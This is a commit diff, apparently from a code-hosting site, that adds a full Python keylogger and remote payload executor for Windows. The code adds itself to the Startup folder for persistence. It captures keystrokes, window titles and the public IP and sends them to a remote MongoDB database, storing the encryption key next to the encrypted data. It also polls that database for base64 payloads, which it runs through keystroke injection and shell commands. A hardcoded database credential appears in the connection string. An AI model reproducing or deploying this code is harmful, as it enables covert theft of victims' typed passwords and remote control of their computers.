1
+ import os
2
+ import sys
3
+ import platform
4
+ import socket
5
+ import threading
6
+ import base64
7
+ import wave
8
+ import logging
9
+ import datetime
10
+ import pygetwindow
11
+ import pymongo
12
+ import subprocess
13
+ import webbrowser
14
+ import time
15
+ import pyautogui
16
+ import requests
17
+ import win32com .client
18
+ from pynput import keyboard
19
+ from pynput .keyboard import Listener
20
+ from pynput .mouse import Listener as MouseListener
21
+ from cryptography .fernet import Fernet
22
+
23
+ SEND_REPORT_EVERY = 30 # as in seconds
24
+
25
+ # <--MongoDB Connection-->
26
+ try :
27
+ client = pymongo .
MongoClient (
"mongodb+srv://samratdey:mongoYzNqs%[email protected] /" )
28
+ db = client ["keylogger" ]
29
+ keylogs_collection = db ["keylog" ]
30
+ payload_collection = db ["payload" ]
31
+ except pymongo .errors .ConnectionError as e :
32
+ print (f"Failed to connect to MongoDB: { e } " )
33
+
34
+ # <--Function to Fetch Public IP-->
35
+ def get_public_ip ():
36
+ try :
37
+ # Fetch public IP from an API
38
+ response = requests .get ('https://api.ipify.org' )
39
+ return response .text
40
+ except requests .RequestException as e :
41
+ print (f"Failed to fetch public IP: { e } " )
42
+ return "Unknown IP"
43
+
44
+ # <--Function to start on boot-->
45
+ def add_to_startup ():
46
+ try :
47
+ # Get the path to the user's Startup folder
48
+ startup_folder = os .path .join (os .environ ['APPDATA' ], r"Microsoft\Windows\Start Menu\Programs\Startup" )
49
+
50
+ # Get the full path of the current executable
51
+ exe_path = os .path .realpath (sys .argv [0 ])
52
+ shortcut_path = os .path .join (startup_folder , f"{ os .path .basename (exe_path )} .lnk" )
53
+
54
+ # Create a shortcut using win32com.client
55
+ shell = win32com .client .Dispatch ("WScript.Shell" )
56
+ shortcut = shell .CreateShortcut (shortcut_path )
57
+ shortcut .TargetPath = exe_path
58
+ shortcut .WorkingDirectory = os .path .dirname (exe_path )
59
+ shortcut .IconLocation = exe_path
60
+ shortcut .save ()
61
+
62
+ print (f"{ os .path .basename (exe_path )} has been added to Startup successfully." )
63
+ except Exception as e :
64
+ print (f"Failed to add { os .path .basename (exe_path )} to Startup: { e } " )
65
+
66
+ # <--Generate and Store a Key for AES Encryption-->
67
+ def generate_key ():
68
+ # return b"m0bvJQ1th6Y4T3Zeqz_An9XdyekAmBCMUNVOsXbQW1Q="
69
+ return Fernet .generate_key ()
70
+
71
+ # Use the key to create a Fernet cipher
72
+ encryption_key = generate_key ()
73
+ cipher = Fernet (encryption_key )
74
+
75
+ # <--Function to Encrypt Data-->
76
+ def encrypt_data (data ):
77
+ return cipher .encrypt (data .encode ())
78
+
79
+ # <--Function to Decrypt Data-->
80
+ def decrypt_data (data ):
81
+ return cipher .decrypt (data ).decode ()
82
+
83
+ # <--Keylogger Script-->
84
+ class KeyLogger :
85
+ def __init__ (self , time_interval ):
86
+ self .interval = time_interval
87
+ self .public_ip = get_public_ip () # Fetch public IP at the start
88
+
89
+ logging .basicConfig (level = logging .INFO , format = "%(asctime)s [%(message)s] > %(message)s" )
90
+
91
+ # Generate a new encryption key for this instance
92
+ self .encryption_key = generate_key ()
93
+ self .cipher = Fernet (self .encryption_key ) # Use self.cipher for encryption
94
+
95
+ def on_press (self , key ):
96
+ try :
97
+ current_time = datetime .datetime .now ().strftime ("%Y-%m-%d %H:%M:%S,%f" )
98
+ active_window = pygetwindow .getActiveWindow ()
99
+ window_title = active_window .title if active_window else "Unknown Window"
100
+ key_pressed = key .char if hasattr (key , 'char' ) else str (key )
101
+
102
+ # Encrypt data with the generated key
103
+ encrypted_timestamp = base64 .b64encode (self .cipher .encrypt (current_time .encode ())).decode ('utf-8' )
104
+ encrypted_public_ip = base64 .b64encode (self .cipher .encrypt (self .public_ip .encode ())).decode ('utf-8' )
105
+ encrypted_window_title = base64 .b64encode (self .cipher .encrypt (window_title .encode ())).decode ('utf-8' )
106
+ encrypted_key_pressed = base64 .b64encode (self .cipher .encrypt (key_pressed .encode ())).decode ('utf-8' )
107
+
108
+ # Create the document structure, including the encryption key
109
+ keylog_document = {
110
+ "encryption_key" : base64 .b64encode (self .encryption_key ).decode ('utf-8' ),
111
+ "timestamp" : encrypted_timestamp ,
112
+ "public_ip" : encrypted_public_ip ,
113
+ "window_title" : encrypted_window_title ,
114
+ "key_pressed" : encrypted_key_pressed ,
115
+ }
116
+
117
+ # Insert keylog into MongoDB collection
118
+ keylogs_collection .insert_one (keylog_document )
119
+
120
+ except AttributeError :
121
+ logging .info (f"{ datetime .datetime .now ().strftime ('%Y-%m-%d %H:%M:%S,%f' )} [Unknown IP] > Unknown Window > { key } " )
122
+
123
+ def on_click (self , x , y , button , pressed ):
124
+ if pressed :
125
+ current_time = datetime .datetime .now ().strftime ("%Y-%m-%d %H:%M:%S,%f" )
126
+ window = pygetwindow .getWindowsWithTitle (pygetwindow .getActiveWindow ().title )
127
+ logging .info (f"{ current_time } [{ self .public_ip } ] > { window [0 ].title } > Mouse { button } clicked at ({ x } , { y } )" )
128
+
129
+ def on_move (self , x , y ):
130
+ current_time = datetime .datetime .now ().strftime ("%Y-%m-%d %H:%M:%S,%f" )
131
+ logging .info (f"{ current_time } [{ self .public_ip } ] > Mouse moved to { x } , { y } " )
132
+
133
+ def on_scroll (self , x , y ):
134
+ current_time = datetime .datetime .now ().strftime ("%Y-%m-%d %H:%M:%S,%f" )
135
+ logging .info (f"{ current_time } [{ self .public_ip } ] > Mouse scrolled to { x } , { y } " )
136
+
137
+ def report (self ):
138
+ timer = threading .Timer (self .interval , self .report )
139
+ timer .start ()
140
+
141
+ def run (self ):
142
+ keyboard_listener = keyboard .Listener (on_press = self .on_press )
143
+ with keyboard_listener :
144
+ self .report ()
145
+ keyboard_listener .join ()
146
+
147
+ with MouseListener (on_click = self .on_click , on_move = self .on_move , on_scroll = self .on_scroll ) as mouse_listener :
148
+ mouse_listener .join ()
149
+
150
+ # <--Payload Executor Script-->
151
+ def execute_command (command ):
152
+ try :
153
+ if command .startswith ("DELAY" ):
154
+ delay_time = int (command .split ()[1 ]) / 1000.0
155
+ time .sleep (delay_time )
156
+ elif command .startswith ("STRING" ):
157
+ string_to_type = command .split ("STRING " )[1 ].strip ()
158
+ pyautogui .typewrite (string_to_type )
159
+ elif command .startswith ("ENTER" ):
160
+ pyautogui .press ('enter' )
161
+ elif command .startswith ("GUI" ):
162
+ gui_key = command .split ()[1 ].lower ()
163
+ if gui_key == "r" :
164
+ pyautogui .hotkey ('win' , 'r' )
165
+ elif gui_key == "l" :
166
+ pyautogui .hotkey ('win' , 'l' )
167
+ else :
168
+ print ("Unsupported GUI key:" , gui_key )
169
+ elif command .startswith ("MENU" ):
170
+ pyautogui .press ('menu' )
171
+ elif command .startswith ("CTRL" ):
172
+ ctrl_key = command .split ()[1 ].lower ()
173
+ pyautogui .hotkey ('ctrl' , ctrl_key )
174
+ elif command .startswith ("ALT" ):
175
+ alt_key = command .split ()[1 ].lower ()
176
+ pyautogui .hotkey ('alt' , alt_key )
177
+ elif command .startswith ("SHIFT" ):
178
+ shift_key = command .split ()[1 ].lower ()
179
+ pyautogui .hotkey ('shift' , shift_key )
180
+ elif command .startswith ("REM" ) or command .startswith ("//" ):
181
+ # Ignore comments
182
+ pass
183
+ elif command .startswith ("EXECUTE:" ):
184
+ file_path = command .split (":" )[1 ].strip ()
185
+ subprocess .Popen (file_path , shell = True )
186
+ elif command .startswith ("BROWSE:" ):
187
+ url = command .split (":" )[1 ].strip ()
188
+ webbrowser .open (url )
189
+ elif command .startswith ("CUSTOM:" ):
190
+ custom_command = command .split (":" )[1 ].strip ()
191
+ # Add more custom command handling here as needed
192
+ else :
193
+ # Invalid command
194
+ print ("Invalid command:" , command )
195
+ except Exception as e :
196
+ print ("Error executing command:" , e )
197
+ logging .error (f"Error executing command '{ command } ': { e } " )
198
+
199
+ def store_and_execute_payload ():
200
+ try :
201
+ # Create a change stream to watch for inserts into the payload collection
202
+ with payload_collection .watch ([{'$match' : {'operationType' : 'insert' }}]) as stream :
203
+ print ("Listening for new payloads..." )
204
+ for change in stream :
205
+ # Get the full document inserted
206
+ document = change ['fullDocument' ]
207
+
208
+ # Check if the document contains the expected key
209
+ if "text" in document :
210
+ # Get the base64 encoded text content from the document
211
+ encoded_payload = document ["text" ]
212
+
213
+ # Decode the base64 encoded payload to clear text
214
+ decoded_payload = base64 .b64decode (encoded_payload ).decode ('utf-8' )
215
+ print ("Payload decoded from base64." )
216
+
217
+ # Execute the decoded payload immediately
218
+ execute_payload (decoded_payload )
219
+
220
+ # Optionally, delete the document from the collection after execution
221
+ payload_collection .delete_one ({"_id" : document ["_id" ]})
222
+ print ("Payload document deleted from MongoDB." )
223
+ else :
224
+ print ("Document does not contain the 'text' key." )
225
+
226
+ except pymongo .errors .PyMongoError as e :
227
+ print (f"Error in MongoDB change stream: { e } " )
228
+ except KeyboardInterrupt :
229
+ print ("Keyboard interrupt detected. Stopping execution..." )
230
+
231
+
232
+ def execute_payload (payload_text ):
233
+ try :
234
+ if payload_text :
235
+ print ("Executing payload..." )
236
+ for line in payload_text .split ('\n ' ):
237
+ execute_command (line .strip ())
238
+ print ("Payload executed successfully." )
239
+ else :
240
+ print ("Payload text is empty." )
241
+ except Exception as e :
242
+ print ("Error executing payload:" , e )
243
+
244
+
245
+ # <--Executor Script-->
246
+ def run_keylogger ():
247
+ keylogger = KeyLogger (SEND_REPORT_EVERY )
248
+ keylogger .run ()
249
+
250
+ def execute_payload_script ():
251
+ store_and_execute_payload ()
252
+
253
+ # <--Run both Keylogger and Payload Executor-->
254
+ if __name__ == '__main__' :
255
+ # Ensure the executable adds itself to startup
256
+ add_to_startup ()
257
+
258
+ # Start the keylogger and payload executor
259
+ keylogger_thread = threading .Thread (target = run_keylogger )
260
+ payload_thread = threading .Thread (target = execute_payload_script )
261
+
262
+ keylogger_thread .start ()
263
+ payload_thread .start ()
0 commit comments